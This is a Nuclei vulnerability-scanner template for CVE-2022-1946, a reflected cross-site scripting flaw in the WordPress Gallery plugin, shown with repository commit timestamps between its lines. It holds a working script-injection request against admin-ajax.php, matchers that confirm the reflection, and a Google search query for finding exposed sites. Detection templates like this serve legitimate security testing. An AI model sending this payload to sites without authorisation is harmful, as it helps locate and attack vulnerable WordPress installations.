nuclei-templates/http/cves/2022/CVE-2022-1946.yaml

49 lines
1.6 KiB
YAML
Raw Normal View History

2022-07-06 10:15:00 +00:00
id: CVE-2022-1946
info:
name: WordPress Gallery <2.0.0 - Cross-Site Scripting
2022-07-06 10:15:00 +00:00
author: Akincibor
severity: medium
description: WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.
2022-07-06 10:15:00 +00:00
reference:
- https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940
- https://wordpress.org/plugins/gallery-album
- https://nvd.nist.gov/vuln/detail/CVE-2022-1946
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1946
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.00097
cpe: cpe:2.3:a:wpdevart:gallery:*:*:*:*:*:wordpress:*:*
2023-08-31 11:46:18 +00:00
epss-percentile: 0.39802
2022-07-06 10:16:17 +00:00
metadata:
max-request: 1
google-query: inurl:"/wp-content/plugins/gallery-album/"
2023-06-04 08:13:42 +00:00
verified: true
2023-07-11 19:49:27 +00:00
framework: wordpress
vendor: wpdevart
product: gallery
tags: wpscan,cve2022,wp,xss,wordpress,gallery,unauth,cve,wp-plugin
2022-07-06 10:15:00 +00:00
http:
2022-07-06 10:15:00 +00:00
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200